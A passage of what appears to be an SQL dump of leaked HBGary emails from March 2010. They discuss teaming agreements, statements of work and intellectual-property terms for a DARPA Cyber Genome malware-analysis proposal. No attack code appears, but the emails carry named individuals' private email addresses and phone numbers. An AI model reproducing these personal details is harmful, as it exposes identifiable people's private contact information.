What is the current state of the art and why is this this the right approach.\r\n3. What research are you proposing (traits, categories/genomes, recording, auto analysis/baysian reasoning to determine traits and patterns,etc.)\r\n\r\nPlease use examples in each of the research areas if possible.\r\n\r\n*Question for you Martin is there anything valuable to pre-processing activities for de-obfuscation and trigger analysis, external identification and analysis, etc.\r\n\r\nThank You,\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',771,'aaron_hbgary_com/771.html'),(3720,'2010-03-08','\"Bob Slapnik\" <bob@hbgary.com>','/aaron@hbgary.com/new/1297001889.M919761P3547Q3720.eml','\"Aaron Barr\" <aaron@hbgary.com>','FW: HBGary/Pikewerks','Aaron,\r\n\r\nSee below what Pikewerks wrote.  Seems that the only approach is to tell the\r\ngov\'t that we will use DDNA as past experience and will explore new and even\r\nbetter methods.  That way we don\'t give DDNA or any other IP to Pikewerks.\r\nThe main risk to HBGary is that we give dollars to a very capable company\r\nwho could potentially someday compete with us.  Or we may end up being best\r\nof friends, merge our products together, and co-market.\r\n\r\nBob \r\n\r\n\r\n-----Original Message-----\r\nFrom: Irby Thompson [mailto:irby@pikewerks.com] \r\nSent: Monday, March 08, 2010 3:53 PM\r\nTo: bob@hbgary.com\r\nSubject: HBGary/Pikewerks\r\n\r\nHBGary is concerned about exposing Digital DNA (DDNA) to Pikewerks during\r\nthe proposal development and later execution of the CyberGenome contract.\r\nFrom our limited understanding, Digital DNA is a malware trait\r\nidentification and severity scoring system. Individual characteristics of\r\nmalware are given a \'hexadecimal code\', and then the codes are combined to\r\nform a sequence(s) that \'defines\' the malware. Additionally, the scoring\r\nsystem weights different traits to determine the overall severity of the\r\nmalware.\r\n\r\nPikewerks has already developed Second Look: A Linux-based Memory Forensic\r\nAnalysis and Malware Detection / Reverse Engineering capability that works\r\nin two versions: Incident Response and Enterprise Monitoring. For comparison\r\nagainst Digital DNA, Second Look generally takes a combination of\r\n\'known-good\' and \'bad behavior detection\' approaches to identify\r\npotentially-malicious traits that malware uses (example: hook of network\r\nstack). Second Look then provides a severity marking associated with various\r\nidentified traits to determine whether a system is \'clean\' or not.\r\n\r\nWhat I am trying to better understand is how DDNA is unique in its approach\r\ncompared to Second Look (i.e. - what is valuable IP in DDNA that HBGary is\r\nconcerned about exposing). Certainly, the \'hexadecimal code\' and \'scoring\'\r\nsystem have been developed (and continue to be refined) by HB Gary using\r\nfeeds of malware. Second Look accomplishes a similar goal of identifying\r\nabnormal and/or bad traits and scoring severity of these traits, albeit in a\r\nslightly different manner.\r\n\r\nHonestly, the Intellectual Property sword cuts both ways. From our\r\nperspective, we are just as concerned about providing Linux Malware \'traits\'\r\nto HBGary, as those traits could then be integrated into DDNA and we will\r\nhave essentially developed a Linux Malware Analysis tool for HBGary.\r\nFurthermore, just as you do not necessarily want to artificially limit your\r\npotential entry into the Linux market space, we do not necessarily want to\r\nartificially limit our potential entry into the Windows market space. \r\n\r\nAt the end of the day, expression and protection of IP rights, technique\r\nexposure, etc can either become an endless rabbit hole, or we can try to\r\ndefine a high-level framework that may not provide absolute bullet-proof\r\ncoverage but gives a workable approach for going forward together on this\r\nproposal/contract. I have seen it happen both ways, and would certainly vote\r\nfor the latter.\r\n\r\n\r\nFor this proposal, I think that we could start with:\r\n-Each company should work on their respective platform(s) of significant\r\nexpertise (HGBary on Windows, Pikewerks on Linux/Unix)\r\n-IP developed under this effort remains the property of the company that\r\ndeveloped it, with the other company getting the right to license said\r\ntechnology (exact terms TBD - delay defining terms until award of contract?)\r\n-The government will get government-purpose rights (not to either of our\r\nexisting products, but only to whatever is specifically developed under this\r\ncontract)\r\n\r\n\r\n\r\nNo virus found in this incoming message.\r\nChecked by AVG - www.avg.com \r\nVersion: 9.0.733 / Virus Database: 271.1.1/2726 - Release Date: 03/08/10\r\n02:34:00\r\n\r\n',230,'aaron_hbgary_com/230.html'),(3721,'2010-03-08','\"Bob Slapnik\" <bob@hbgary.com>','/aaron@hbgary.com/new/1297001891.M107144P3547Q3721.eml','\"Aaron Barr\" <aaron@hbgary.com>,Brian.Masterson@ngc.com','RE: Responder','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nBrian,\r\n\r\n&nbsp;\r\n\r\nSee attached quote.&nbsp; Good luck on your proposal.&nbsp; \r\n\r\n&nbsp;\r\n\r\n\r\n\r\nBob Slapnik&nbsp; |&nbsp; Vice President&nbsp; |&nbsp; HBGary, Inc.\r\n\r\nOffice 301-652-8885 x104&nbsp; | Mobile 240-481-1419\r\n\r\nwww.hbgary.com&nbsp; |&nbsp; bob@hbgary.com\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Monday, March 08, 2010 3:34 PM\r\nTo: Bob Slapnik\r\nSubject: Fwd: Responder\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nDon\'t give this guy anything...hes the competition!!!!\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nJust kidding. &nbsp;Bob can you provide this to Brian.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nThanks.\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nBegin forwarded message:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom:\r\n&quot;Masterson,\r\nBrian (Xetron)&quot; &lt;Brian.Masterson@ngc.com&gt;\r\n\r\n\r\n\r\n\r\n\r\nDate:\r\nMarch\r\n8, 2010 3:32:35 PM EST\r\n\r\n\r\n\r\n\r\n\r\nTo:\r\n&quot;Aaron\r\nBarr&quot; &lt;aaron@hbgary.com&gt;\r\n\r\n\r\n\r\n\r\n\r\nSubject:\r\nResponder\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nHey,\r\n\r\nHow things?&nbsp; Busy?\r\nJ J\r\nJ\r\n\r\nCan you send me a quote for\r\none license of Responder?&nbsp; I have this little proposal that I am working on&#8230;.\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nBrian\r\nMasterson\r\nNorthrop\r\nGrumman/Xetron\r\nChief\r\nTechnology Officer, IO Programs\r\nPh:\r\n513-881-3591\r\nCell:\r\n513-706-4848\r\nFax:\r\n513-881-3877 \r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron Barr\r\n\r\n\r\n\r\n\r\n\r\nCEO\r\n\r\n\r\n\r\n\r\n\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nNo virus\r\nfound in this incoming message.\r\nChecked by AVG - www.avg.com\r\nVersion: 9.0.733 / Virus Database: 271.1.1/2726 - Release Date: 03/08/10\r\n02:34:00\r\n\r\n\r\n\r\n\r\n\r\n\r\n',11990,'aaron_hbgary_com/11990.html'),(3722,'2010-03-08','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297001891.M323769P3547Q3722.eml','\"Barr Aaron\" <aaron@hbgary.com>','Fwd: Did you say you would have something for me today?','---------- Forwarded message ----------\r\nFrom: Ted Vera \r\nDate: Mon, Mar 8, 2010 at 2:14 PM\r\nSubject: Re: Did you say you would have something for me today?\r\nTo: \"Thompson, Bill M.\" \r\n\r\n\r\nBill,\r\n\r\nWe estimate the iPod development to cost $137,344.00, based upon our\r\nanalysis of your detailed statement of work.  This is approximately\r\n$43K more than our previously proposed amount of $94,220.80.  The\r\nmajority of the cost delta is to accommodate for requirements that\r\nwere previously not considered (prior to receiving your SOW).  A\r\ndetailed project plan will be included in our feasibility study, which\r\nwill be delivered NLT this Friday.\r\n\r\nPlease let me know if you have any questions or concerns.\r\n\r\nRegards,\r\nTed\r\n\r\nOn Mon, Mar 8, 2010 at 12:06 PM, Ted Vera  wrote:\r\n> Yes, I\'m reviewing the schedule now. I will get back with you later today.\r\n> Ted\r\n>\r\n>\r\n>\r\n> On Mar 8, 2010, at 12:05 PM, \"Thompson, Bill M.\" \r\n> wrote:\r\n>\r\n> Thanks,\r\n>\r\n> Bill\r\n\r\n\r\n\r\n--\r\nTed H. Vera\r\nPresident | COO\r\nHBGary Federal\r\n719-237-8623\r\n\r\n\r\n\r\n-- \r\nTed H. Vera\r\nPresident | COO\r\nHBGary Federal\r\n719-237-8623\r\n',11385,'aaron_hbgary_com/11385.html'),(3723,'2010-03-08','\"Phil Porras\" <porras@csl.sri.com>','/aaron@hbgary.com/new/1297001892.M408560P3547Q3724.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Starr, Christopher H.\" <Chris.Starr@gd-ais.com>','gmail info','\r\npporras7@gmail.com\r\n\r\n',3809,'aaron_hbgary_com/3809.html'),(3724,'2010-03-08','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297001892.M49642P3547Q3723.eml','\"Barr Aaron\" <aaron@hbgary.com>','Fwd: SoW update w/ Task Descriptions','I didn\'t send a TA and NDA to SRI, only to GD, Secure Decisions and\r\nPikewerks. I sent to the POCs you provided via email (SRI wasn\'t on\r\nthat list).\r\n\r\nShould I create and send these to SRI as well?\r\n\r\nTed\r\n\r\n\r\n\r\n---------- Forwarded message ----------\r\nFrom: Phil Porras \r\nDate: Mon, Mar 8, 2010 at 1:42 PM\r\nSubject: SoW update w/ Task Descriptions\r\nTo: aaron@hbgary.com\r\nCc: Ted Vera , Phil Porras ,\r\nvinod@csl.sri.com, saidi@csl.sri.com, Bob Slapnik \r\n\r\n\r\n\r\nAaron, from page 3-6 of the attached doc we made modes to the task SoW and\r\nprovided task summaries.  This include brief innovative claims text, and year by\r\nyear break downs.\r\n\r\n\r\n\r\n---------------------------------------------------------------------------------\r\nPhillip A. Porras (porras@csl.sri.com)\r\nProgram Director,  SRI International\r\n333 Ravenswood Ave, Menlo Park CA 94025 USA\r\noffice: (650) 859-3232, fax: x2844\r\n\r\n\r\n\r\n-- \r\nTed H. Vera\r\nPresident | COO\r\nHBGary Federal\r\n719-237-8623\r\n',5310,'aaron_hbgary_com/5310.html'),(3725,'2010-03-08','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297001892.M604794P3547Q3725.eml','\"Brianne O\'Brien\" <brianneo@securedecisions.avi.com>,\"Brianne O\'Brien\" <brianneo@securedecisions.avi.com>','Re: SOW','Brianne,\r\n\r\nThat is fine for the location.  I think for the most part we will work virtually, unless specifically needed.\r\n\r\nOn the SOW we can set up a call to discuss if that would be preferred.  After refining the approach here is what I see.  I think your tasks 1-6 for phase 1 are just an expansion of detail of what my first listed task is, which is fine I think.  For Phase II it appears to be mostly a repeat of phase 1 but I may be missing something.  What I would like to see in Phase II is once we understand how to visually represent malware functions and behavior I would like to work from the other direction and figure out how to visually represent malware overall functionality and behaviors in whole and try to identify behaviors, functions, patterns, and possibly intent.\r\n\r\nAaron\r\n719.510.8478\r\n\r\n\r\nOn Mar 8, 2010, at 3:52 PM, Brianne O\'Brien wrote:\r\n\r\n> Aaron -\r\n> \r\n> We reviewed the SOW that you provided and have a few comments regarding\r\n> certain items -\r\n> \r\n> Item 2f - This indicates that our physical presence may be required in\r\n> HBGary\'s facilities in order to produce the proposal.  We are available\r\n> on demand, however I don\'t think we want to commit to a being physically\r\n> on premises.  Can that part be amended?\r\n> \r\n> Under Subcontractor post award roles and responsibilities, there are\r\n> only two brief bullets describing the nature of our contribution.  We\r\n> had elaborated on the tasking in the SOW that we sent to you last week\r\n> and provided greater clarity to our developmental activities.  Can those\r\n> SOW items be leveraged to expand the post award roles and\r\n> responsibilities?\r\n> \r\n> Please advise when you get the chance.\r\n> \r\n> Thanks & Regards,\r\n> Brianne\r\n> \r\n> Brianne F. O\'Brien\r\n> (631) 754-4920 x150\r\n> (516) 702-7703 (cell)\r\n> \r\n> \r\n> -----Original Message-----\r\n> From: Aaron Barr [mailto:aaron@hbgary.com] \r\n> Sent: Monday, March 08, 2010 10:37 AM\r\n> To: Brianne O\'Brien\r\n> Subject: SOW\r\n> \r\n> Brianne,\r\n> \r\n> You have already submitted to us a SOW response broken down by the 4\r\n> years.  For the purposes of developing material for the proposal I\r\n> wanted to provide some more specifics on development requirements.\r\n> Please see the attached SOW, reply back with any changes you suggest.\r\n> At some point today you will receive from Ted a new NDA, Teaming\r\n> agreement, pricing template, and copy of SOW with any agreed changes for\r\n> your records.  Based on the SOW we need to get a price and scheduling\r\n> sheet by 12pm tomorrow so we can get everything together and priced.\r\n> \r\n> Aaron Barr\r\n> CEO\r\n> HBGary Federal Inc.\r\n> \r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',191,'aaron_hbgary_com/191.html'),(3726,'2010-03-08','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297001892.M794568P3547Q3726.eml','\"Ted Vera\" <ted@hbgary.com>,\"Ted Vera\" <ted@hbgary.com>','Re: SoW update w/ Task Descriptions','crap...yes.  send to Phil Porras cc\'d above.\r\n\r\nAaron\r\n\r\nOn Mar 8, 2010, at 4:37 PM, Ted Vera wrote:\r\n\r\n>  I sent to the POCs you provided via email (SRI wasn\'t on\r\n> that list).\r\n> \r\n> Should I create and send these to SRI as well?\r\n> \r\n> Ted\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',10280,'aaron_hbgary_com/10280.html'),(3727,'2010-03-08','\"Bob Slapnik\" <bob@hbgary.com>','/aaron@hbgary.com/new/1297001893.M222943P3547Q3728.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: Technical Approach','More questions for Martin.....\r\n\r\n- Tell about new research we can do to make our in-memory static analysis\r\nstronger.\r\n- Tell about data flow analysis that goes across multiple functions and\r\npossibly across multiple binaries.  Make sure to tell WHY this is good and\r\nthe advantages over other approaches.\r\n- Tell about ways to automatically analyze the huge piles of low level data\r\nwe can gather from BOTH in-memory static analysis and REcon dynamic\r\nanalysis.\r\n- Why we should use Bayesian Reasoning or some other AI model to analyze\r\ndata.  What does this give us?  What are the challenges?\r\n- Tell about how may want to research a scaled back way to trigger new code\r\npaths to execute.  Tell about the challenges of doing it, but also tell\r\nabout its advantages\r\n- Tell about what we learned when we tried to implement AFR -- why too hard\r\nto solve, be specific, intractable problem, too much state data\r\n- Tell about why it is powerful to do BOTH in-memory static analysis AND\r\nruntime analysis.  How does the data generate from the 2 methods differ?\r\nWhat are the advantages of having data from both methods?  \r\n\r\nBob \r\n\r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Monday, March 08, 2010 4:03 PM\r\nTo: Bob Slapnik\r\nSubject: Technical Approach\r\n\r\nMartin,\r\n\r\nAs you get a chance to write if you could think about these things.\r\n\r\n1. What are the challenges to automated malware analysis for behavior,\r\nfunctions, and intent.\r\n2. What is the current state of the art and why is this this the right\r\napproach.\r\n3. What research are you proposing (traits, categories/genomes, recording,\r\nauto analysis/baysian reasoning to determine traits and patterns,etc.)\r\n\r\nPlease use examples in each of the research areas if possible.\r\n\r\n*Question for you Martin is there anything valuable to pre-processing\r\nactivities for de-obfuscation and trigger analysis, external identification\r\nand analysis, etc.\r\n\r\nThank You,\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\nNo virus found in this incoming message.\r\nChecked by AVG - www.avg.com \r\nVersion: 9.0.733 / Virus Database: 271.1.1/2726 - Release Date: 03/08/10\r\n02:34:00\r\n\r\n',3188,'aaron_hbgary_com/3188.html'),(3728,'2010-03-08','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297001893.M7631P3547Q3727.eml','\"Bob Slapnik\" <bob@hbgary.com>,\"Ted Vera\" <ted@hbgary.com>','Notes','Over the weekend.  The 2 or 3 tasks have been expanded on, so in the SOWs there are going to be new tasks.  Need to bid to the expanded tasks in the SOW.  THey will update the templates quickly.\r\n\r\nIn terms of the writing.  The technical team is focused on finishing up the technical approach.\r\n\r\nBob please send Chris the filled out Bios and also send him information on the IP language we have put together for our technology.  We are going to have an IP language discussion tomorrow.\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',2389,'aaron_hbgary_com/2389.html'),(3729,'2010-03-08','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297001895.M323808P3547Q3730.eml','\"Martin Pillion\" <martin@hbgary.com>,\"Martin Pillion\" <martin@hbgary.com>,','DARPA BAA Cyber Genome','Martin,\r\n\r\nSome thoughts as your looking to develop some content.\r\n\r\n1. What are the challenges to automated malware analysis for behavior,\r\nfunctions, and intent.\r\n2. What is the current state of the art and why is this this the right\r\napproach.\r\n3. What research are you proposing (traits, categories/genomes, recording,\r\nauto analysis/baysian reasoning to determine traits and patterns,etc.)\r\n\r\n4. Tell about new research we can do to make our in-memory static analysis\r\nstronger.\r\n5. Tell about ways to automatically analyze the huge piles of low level data\r\nwe can gather from BOTH in-memory static analysis and REcon dynamic\r\nanalysis.\r\n6. Tell about ways to automatically analyze the huge piles of low level data\r\nwe can gather from BOTH in-memory static analysis and REcon dynamic\r\nanalysis.\r\n7. Why we should use Bayesian Reasoning or some other AI model to analyze\r\ndata.  What does this give us?  What are the challenges?\r\n8. Tell about how may want to research a scaled back way to trigger new code\r\npaths to execute.  Tell about the challenges of doing it, but also tell\r\nabout its advantages\r\n9. Tell about what we learned when we tried to implement AFR -- why too hard\r\nto solve, be specific, intractable problem, too much state data\r\n10. Tell about why it is powerful to do BOTH in-memory static analysis AND\r\nruntime analysis.  How does the data generate from the 2 methods differ?\r\nWhat are the advantages of having data from both methods?  \r\n\r\nPlease use examples in each of the research areas if possible.\r\n\r\n*Question for you Martin is there anything valuable to pre-processing\r\nactivities for de-obfuscation and trigger analysis, external identification\r\nand analysis, etc.\r\n\r\nThank You,\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',14004,'aaron_hbgary_com/14004.html'),(3730,'2010-03-08','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297001895.M508872P3547Q3731.eml','\"Irby Thompson\" <irby@pikewerks.com>,\"Irby Thompson\" <irby@pikewerks.com>,','DARPA BAA','Irby,\r\n\r\nBob sent me a copy of the conversation you guys have been having about IP.  I can empathize with both of your position.  Lets just get on contract and then we can work out the details, to short of time to hammer out now.  You both bring the right intellectual property and capability to help win this work.  As we discussed in your office we can probably work out an arrangement that is favorable and protects both and is in the spirit of cooperation to better both of our futures.\r\n\r\nWe have gone back and forth a few times on the HBGary side and I think the best approach at the moment is to put our individual technologies aside, except for as past performance, and first focus on some research, independent of product, to validate that our approaches are the right ones for the problems or identify new ones.  In the execution there will be many ways/avenues for our research to benefit our respective product lines.\r\n\r\nLooking forward to the work!\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',2059,'aaron_hbgary_com/2059.html'),(3731,'2010-03-08','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297001895.M696480P3547Q3732.eml','\"Irby Thompson\" <irby@pikewerks.com>,\"Irby Thompson\" <irby@pikewerks.com>','Pikewerks Products','Irby,\r\n\r\nAt some point after this week I would very much like to get a capabilities brief from you on Pikewerks products and learn more about SecondLook, and your other capabilities.  We could have more room at that point to discuss what types of things we could pursue together.\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',5625,'aaron_hbgary_com/5625.html'),(3732,'2010-03-08','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297001895.M880362P3547Q3733.eml','\"Bob Slapnik\" <bob@hbgary.com>,\"Irby Thompson\" <irby@pikewerks.com>,\"Bob Slapnik\" <bob@hbgary.com>','Working Arrangements','In relation to your assertions Irby.For this proposal, I think that we could start with:-Each company should work on their respective platform(s) of significantexpertise (HGBary on Windows, Pikewerks on Linux/Unix)This is how I have written the SOWs. &nbsp;HBGary will do windows work and Pikewerks will do Linux work. &nbsp;This is where your expertise is and that is why you are on the team.-IP developed under this effort remains the property of the company thatdeveloped it, with the other company getting the right to license saidtechnology (exact terms TBD - delay defining terms until award of contract?)At a high level I agree with this statement and seems clean.-The government will get government-purpose rights (not to either of ourexisting products, but only to whatever is specifically developed under thiscontract)At a high level I agree with this statement as well.Again to make this clean I do not want to leverage the existing traits technologies of either HBGary or Pikewerks until after we have done an analysis of developed traits not for detection but for enumeration of complex behaviors and functions. &nbsp;This will give us some time to work out the rest of the details.Good?\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',3447,'aaron_hbgary_com/3447.html'),(3733,'2010-03-08','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297001895.M95271P3547Q3729.eml','porras@csl.sri.com,\"Aaron Barr\" <aaron@hbgary.com>','TA & NDA','Hello Phil,\r\n\r\nAttached is HBGary Federal\'s Teaming Agreement and NDA for the DARPA\r\nCyber Genome Program.  Please review and if all terms and conditions are\r\nacceptable, then sign and return.  Email is fine, or fax to:\r\n720-836-4208.  Please contact me if you have any questions.\r\n\r\nRegards,\r\nTed Vera\r\n\r\nted@hbgary.com\r\n\r\n',2921,'aaron_hbgary_com/2921.html'),(3734,'2010-03-08','\"Vinod Yegneswaran\" <vinod@csl.sri.com>','/aaron@hbgary.com/new/1297001897.M245132P3547Q3734.eml','aaron@hbgary.com,aaron@hbgary.com,,,','Re: SoW update w/ Task Descriptions','Hi Aaron,\r\n\r\n  We have made some minor mods, please use the attached updated version \r\nof SoW.\r\n\r\n-vinod\r\n',381,'aaron_hbgary_com/381.html'),(3735,'2010-03-08','\"Irby Thompson\" <irby@pikewerks.com>','/aaron@hbgary.com/new/1297001897.M462656P3547Q3735.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>,,','Re: Working Arrangements','I am good with this approach for now. We will likely all need to sit down and work through details once we win the contract, but until then we just need a basic framework to keep moving forward. Anything exposed during the proposal process needs to be covered by the NDA.I have the HBGary NDA and HBGary Federal teaming agreement which I intend to sign by COB today.	-irbyOn Mar 8, 2010, at 5:18 PM, Aaron Barr wrote:In relation to your assertions Irby.For this proposal, I think that we could start with:-Each company should work on their respective platform(s) of significantexpertise (HGBary on Windows, Pikewerks on Linux/Unix)This is how I have written the SOWs. &nbsp;HBGary will do windows work and Pikewerks will do Linux work. &nbsp;This is where your expertise is and that is why you are on the team.-IP developed under this effort remains the property of the company thatdeveloped it, with the other company getting the right to license saidtechnology (exact terms TBD - delay defining terms until award of contract?)At a high level I agree with this statement and seems clean.-The government will get government-purpose rights (not to either of ourexisting products, but only to whatever is specifically developed under thiscontract)At a high level I agree with this statement as well.Again to make this clean I do not want to leverage the existing traits technologies of either HBGary or Pikewerks until after we have done an analysis of developed traits not for detection but for enumeration of complex behaviors and functions. &nbsp;This will give us some time to work out the rest of the details.Good?\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',2144,'aaron_hbgary_com/2144.html'),(3736,'2010-03-08','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297001897.M669823P3547Q3736.eml','\"Irby Thompson\" <irby@pikewerks.com>,\"Irby Thompson\" <irby@pikewerks.com>,,','Re: Working Arrangements','Thanks Irby.AaronFrom my iPhoneOn Mar 8, 2010, at 5:25 PM, Irby Thompson &lt;irby@pikewerks.com&gt; wrote:\r\nI am good with this approach for now. We will likely all need to sit down and work through details once we win the contract, but until then we just need a basic framework to keep moving forward. Anything exposed during the proposal process needs to be covered by the NDA.\r\nI have the HBGary NDA and HBGary Federal teaming agreement which I intend to sign by COB today.	-irby\r\nOn Mar 8, 2010, at 5:18 PM, Aaron Barr wrote:\r\nIn relation to your assertions Irby.For this proposal, I think that we could start with:-Each company should work on their respective platform(s) of significant\r\nexpertise (HGBary on Windows, Pikewerks on Linux/Unix)This is how I have written the SOWs.  HBGary will do windows work and Pikewerks will do Linux work.  This is where your expertise is and that is why you are on the team.\r\n-IP developed under this effort remains the property of the company thatdeveloped it, with the other company getting the right to license saidtechnology (exact terms TBD - delay defining terms until award of contract?)\r\nAt a high level I agree with this statement and seems clean.-The government will get government-purpose rights (not to either of ourexisting products, but only to whatever is specifically developed under this\r\ncontract)At a high level I agree with this statement as well.Again to make this clean I do not want to leverage the existing traits technologies of either HBGary or Pikewerks until after we have done an analysis of developed traits not for detection but for enumeration of complex behaviors and functions.  This will give us some time to work out the rest of the details.\r\nGood?\r\n\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n\r\n',11127,'aaron_hbgary_com/11127.html'),(3737,'2010-03-08','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297001899.M280926P3547Q3738.eml','\"Ted Vera\" <ted@hbgary.com>','Pikewerks','Somehow I think Bob pissed off Pikewerks.  Another lessoned learned for future efforts.  Keep HBGary Inc. the fuck out of our teaming negotiations.  We need this one, and need to do what it takes to be on one of the winning teams, but I want to stay the hell away from IP in the future.\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',15966,'aaron_hbgary_com/15966.html'),(3738,'2010-03-08','\"Starr, Christopher H.\" <Chris.Starr@gd-ais.com>','/aaron@hbgary.com/new/1297001899.M488605P3547Q3739.eml','\"Aaron Barr\" <adbarr@mac.com>,\"Aaron Barr\" <aaron@hbgary.com>,\"Aaron Barr\" <adbarr@mac.com>','RE: IP','Sounds fair to me.  We\'ll set up a discussion to review all things IP\r\ntomorrow.\r\n\r\nChris\r\n\r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:adbarr@mac.com] \r\nSent: Monday, March 08, 2010 6:29 PM\r\nTo: Starr, Christopher H.; Upchurch, Jason R.\r\nCc: Ted Vera\r\nSubject: IP\r\n\r\nChris,\r\n\r\nI think we have finally figured out.  I just had to stop listening to\r\nthe product folks.  We had an IP discussion with Pikewerks today that\r\nmade this apparent.\r\n\r\nThe proper approach to this effort is to bring our respective\r\ntechnologies to bear on developing solutions to the problem, but that is\r\nwhere it will stop, at least in the beginning.  We need to conduct\r\nresearch as to the right approach for behavior and function based\r\nenumeration under this effort.  It may be the existing HBGary and\r\nPikewerk technologies and it may not.  If at some point it is determined\r\nthe best approach is DDNA or SecondLook then we can address the IP\r\nconcerns with DARPA at that time.\r\n\r\nFair?\r\n\r\nAaron\r\n',15726,'aaron_hbgary_com/15726.html'),(3739,'2010-03-08','\"Brianne O\'Brien\" <brianneo@securedecisions.avi.com>','/aaron@hbgary.com/new/1297001899.M663397P3547Q3740.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: SOW','Aaron -\r\n\r\nI think we\'re speaking the same language - The first half of the project\r\n(yrs 1 & 2) addresses the development of visualizations to support\r\nmalware analysis.  The second half of the project (yrs 3 & 4), per the\r\nSOW we generated, addresses the development of interactive\r\nvisualizations to assist in collaboration, filtering, etc that will\r\nallow analysts to build visual relationships and add analytical\r\ninformation in a visually compelling way.  Perhaps the SOW tasks we\r\ndeveloped didn\'t adequately distinguish that... as the key difference\r\ndeals with the interactive features that are envisioned.\r\n\r\nIf we\'re all on the same page, that\'s fine.  We can expand upon each of\r\nthose tasks within the technical approach.\r\n\r\nBrianne \r\n\r\nBrianne F. O\'Brien\r\n(631) 754-4920 x150\r\n(516) 702-7703 (cell)\r\n\r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Monday, March 08, 2010 4:40 PM\r\nTo: Brianne O\'Brien\r\nCc: Ted Vera\r\nSubject: Re: SOW\r\n\r\nBrianne,\r\n\r\nThat is fine for the location.  I think for the most part we will work\r\nvirtually, unless specifically needed.\r\n\r\nOn the SOW we can set up a call to discuss if that would be preferred.\r\nAfter refining the approach here is what I see.  I think your tasks 1-6\r\nfor phase 1 are just an expansion of detail of what my first listed task\r\nis, which is fine I think.  For Phase II it appears to be mostly a\r\nrepeat of phase 1 but I may be missing something.  What I would like to\r\nsee in Phase II is once we understand how to visually represent malware\r\nfunctions and behavior I would like to work from the other direction and\r\nfigure out how to visually represent malware overall functionality and\r\nbehaviors in whole and try to identify behaviors, functions, patterns,\r\nand possibly intent.\r\n\r\nAaron\r\n719.510.8478\r\n\r\n\r\nOn Mar 8, 2010, at 3:52 PM, Brianne O\'Brien wrote:\r\n\r\n> Aaron -\r\n> \r\n> We reviewed the SOW that you provided and have a few comments\r\nregarding\r\n> certain items -\r\n> \r\n> Item 2f - This indicates that our physical presence may be required in\r\n> HBGary\'s facilities in order to produce the proposal.  We are\r\navailable\r\n> on demand, however I don\'t think we want to commit to a being\r\nphysically\r\n> on premises.  Can that part be amended?\r\n> \r\n> Under Subcontractor post award roles and responsibilities, there are\r\n> only two brief bullets describing the nature of our contribution.  We\r\n> had elaborated on the tasking in the SOW that we sent to you last week\r\n> and provided greater clarity to our developmental activities.  Can\r\nthose\r\n> SOW items be leveraged to expand the post award roles and\r\n> responsibilities?\r\n> \r\n> Please advise when you get the chance.\r\n> \r\n> Thanks & Regards,\r\n> Brianne\r\n> \r\n> Brianne F. O\'Brien\r\n> (631) 754-4920 x150\r\n> (516) 702-7703 (cell)\r\n> \r\n> \r\n> -----Original Message-----\r\n> From: Aaron Barr [mailto:aaron@hbgary.com] \r\n> Sent: Monday, March 08, 2010 10:37 